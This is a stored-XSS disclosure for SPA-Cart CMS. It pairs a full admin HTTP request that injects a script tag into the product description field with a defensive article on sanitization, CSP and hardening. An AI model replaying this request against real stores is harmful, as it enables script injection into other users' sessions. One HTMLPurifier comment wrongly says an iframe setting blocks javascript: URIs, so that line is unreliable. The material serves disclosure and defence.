SPA-CART CMS - Stored XSS
# Exploit Title: SPA-CART CMS - Stored XSS
# Date: 2024-01-03
# Exploit Author: Eren Sen
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: [1.9.0.3]
# CVE-ID: N/A
# Tested on: Kali Linux / Windows 10
# Vulnerabilities Discovered Date : 2024/01/03
# Vulnerability Type: Stored Cross Site Scripting (XSS) Vulnerability
# Vulnerable Parameter Type: POST
# Vulnerable Parameter: descr
# Proof of Concept: demo.spa-cart.com/product/258
# HTTP Request:
POST ////admin/products/258 HTTP/2
Host: demo.spa-cart.com
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxx; remember=xxxxxxxxxxxxxxxx
Content-Length: 1906
Sec-Ch-Ua:
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryUsO8JxBs6LhB8LSl
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Sec-Ch-Ua-Platform: ""
Origin: https://demo.spa-cart.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.spa-cart.com////admin/products/258
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="mode"
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="sku"
SKU386
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="name"
asdf
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="cleanurl"
Wholesale-DIY-Jewelry-Faceted-70pcs-6-8mm-Red-AB-Rondelle-glass-Crystal-Beads
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="avail"
1000
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="price"
0.00
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="list_price"
2
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="weight"
0.00
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="categoryid"
42
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="categories[]"
8
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="categories[]"
37
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="brandid"
4
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="keywords"
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="descr"
<script>alert(1)</script>
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="title_tag"
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="meta_keywords"
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="meta_description"
------WebKitFormBoundaryUsO8JxBs6LhB8LSl-- SPA-CART CMS — Stored XSS: Overview, Impact, and Secure Mitigations
Stored Cross‑Site Scripting (XSS) is a common and dangerous web vulnerability where attacker-supplied content is persisted by the application (for example in a product description, user profile, or comment) and later rendered in the browser of another user without proper sanitization or encoding. In an e‑commerce CMS such as SPA‑Cart, description fields that accept HTML or rich text are a common attack surface for stored XSS.
Why stored XSS matters
- Persistent attack: malicious input is saved on the server and served to any user who views the infected page.
- Wide impact: can affect site visitors, administrators, and other privileged users who view the stored content.
- Potential consequences: account takeover (via cookie theft or session fixation when combined with other weaknesses), defacement, phishing, unauthorized actions on behalf of victims, and data exfiltration.
Typical root causes
- Storing user-supplied HTML or text without proper sanitization.
- Rendering stored content directly into pages without context-appropriate output encoding.
- Allowing arbitrary HTML attributes (for example, event handlers or javascript: URIs) in user-supplied markup.
- Missing or inconsistent security policies (CSP, secure headers) that could otherwise limit impact.
Safe design principles
- Default to refusing HTML: store plain text unless the product explicitly needs rich HTML content.
- If rich content is needed, allow only a minimal, explicit whitelist of tags and attributes.
- Sanitize on input (trusted sanitizer) and always perform output encoding for the specific context (HTML body, attribute, URL, JavaScript, CSS).
- Apply defense-in-depth: server sanitization, client-side sanitization (if applicable), strict Content Security Policy, and appropriate headers (X-Content-Type-Options, X-Frame-Options/frame-ancestors, Referrer-Policy).
Recommended server-side sanitization (PHP examples)
Prefer a well‑maintained HTML sanitizer library over ad hoc methods. HTMLPurifier is a mature choice for PHP applications and can be configured to allow a safe subset of tags and attributes.
<?php
require_once '/path/to/HTMLPurifier.auto.php';
// Build a conservative configuration
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Doctype', 'HTML 4.01 Transitional');
$config->set('Attr.AllowedFrameTargets', array('_blank')); // if you allow targets
// Limit allowed tags and attributes explicitly
$config->set('HTML.Allowed', 'p,a[href|title|target],ul,ol,li,br,strong,em,span');
// Disable dangerous URI schemes like javascript:
$config->set('URI.SafeIframeRegexp', null);
$purifier = new HTMLPurifier($config);
// Sanitize on input before storing
$raw = $_POST['descr'] ?? '';
$clean_descr = $purifier->purify($raw);
// Save $clean_descr to database
// ...
?>Explanation: This code loads HTMLPurifier, configures a strict whitelist of allowed tags and attributes, purifies user input, and assigns a cleaned value for persistence. HTMLPurifier removes disallowed tags and dangerous attributes and normalizes markup to a safe subset.
Output encoding: never rely solely on input filtering
Even with sanitization, always apply context‑appropriate escaping when rendering. For HTML body content that you intend to render as markup, ensure you have sanitized it first and then output it safely.
<?php
// When rendering sanitized HTML content:
echo $clean_descr;
// When rendering plain user input as text (no HTML allowed):
echo htmlspecialchars($user_text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
?>Explanation: Use htmlspecialchars for text contexts to prevent browsers from interpreting special characters as markup. For allowed HTML fragments, output the sanitized HTML returned by a trusted sanitizer like HTMLPurifier. Do not use htmlspecialchars on already-intended markup if you actually want it to render as formatted content—decide whether stored content is text or sanitized HTML and treat it accordingly.
Client-side sanitization example (DOMPurify)
If your application dynamically inserts user-generated content into the DOM (e.g., via Ajax), sanitize before insertion using a reputable library such as DOMPurify. Client-side sanitization is a convenience and defense-in-depth, but should not replace server-side purification.
// Example (browser JS) using DOMPurify
// Assume DOMPurify is loaded via a vetted build
const dirty = fetchedDescriptionHtml;
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p','a','strong','em','ul','ol','li','br','span'],
ALLOWED_ATTR: ['href','title','target']
});
document.getElementById('product-description').innerHTML = clean;
Explanation: DOMPurify strips disallowed tags and attributes from HTML before inserting into the page. Use a restrictive policy and keep the allowed lists small. Always combine with server-side controls.
Content Security Policy (CSP) — example header
A Content Security Policy reduces the impact of XSS by restricting the sources from which scripts and other resources can be loaded. A strict policy combined with nonces or hashes is a strong safeguard.
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self';"Explanation: This CSP example restricts scripts to same-origin only, disallows plugin objects, prevents the site from being framed, and restricts base-uri. For pages that must include third-party scripts, minimize external sources and prefer subresource integrity, nonces, or explicit hashes. CSP is not a substitute for input sanitization, but it mitigates the consequences of a bypass.
Practical hardening checklist for SPA‑Cart installations
- Patch: apply the vendor's latest updates and security patches immediately.
- Sanitize: implement a whitelist HTML sanitizer like HTMLPurifier on all rich-text fields.
- Encode: ensure context-specific output encoding is applied for HTML, attributes, URLs, and JS contexts.
- Reduce attack surface: disable rich HTML fields if not needed; convert to plain text editors where possible.
- Enforce CSP and security headers (CSP, X-Frame-Options/frame-ancestors, X-Content-Type-Options).
- Authentication: require strong admin authentication and consider MFA for admin accounts.
- Logging & monitoring: log changes to content fields and alert on suspicious edits or unexpected scripts found in stored content.
- Secure configuration: run web app under least privileges and enable secure cookie flags (HttpOnly, Secure, SameSite).
Detection and testing guidance (non-actionable)
- Code review: search for unsanitized output patterns (e.g., direct echoing of stored fields into page templates) and review how rich text inputs are processed.
- Automated scanning: use reputable web application scanners and static analysis tools to flag potential XSS sinks and risky HTML handling.
- Unit/Integration tests: include tests that ensure allowed markup is preserved but disallowed markup/attributes are removed.
- Monitoring: add integrity checks on stored content (example: automated scans for suspicious characters or tags in persisted fields) and alert maintainers for manual review.
Responsible disclosure and remediation lifecycle
If a vulnerability is discovered:
- Report it privately to the vendor with reproduction details and remediation suggestions; provide logs and proof-of-fix on request.
- Coordinate timelines: give the vendor a reasonable period to patch before public disclosure.
- After a patch is released, apply it promptly across environments and verify fixes with regression tests.
Summary
Stored XSS in a CMS is a high‑risk issue because it can be triggered repeatedly against many users. The correct defense combines a whitelist sanitizer, strict output encoding, robust security headers (CSP), and least-privilege principles. For SPA‑Cart or similar platforms, prioritize sanitizing rich-text fields such as product descriptions, audit all code paths that render stored content, and keep the software and libraries up to date.
Further reading and tools
- Choose a maintained sanitizer (HTMLPurifier for PHP; DOMPurify for client-side).
- OWASP XSS Prevention Cheat Sheet — implement context-aware encoding and whitelisting.
- Use automated scanners (e.g., OWASP ZAP, Burp Suite) for regular assessments and CI-integrated static analysis.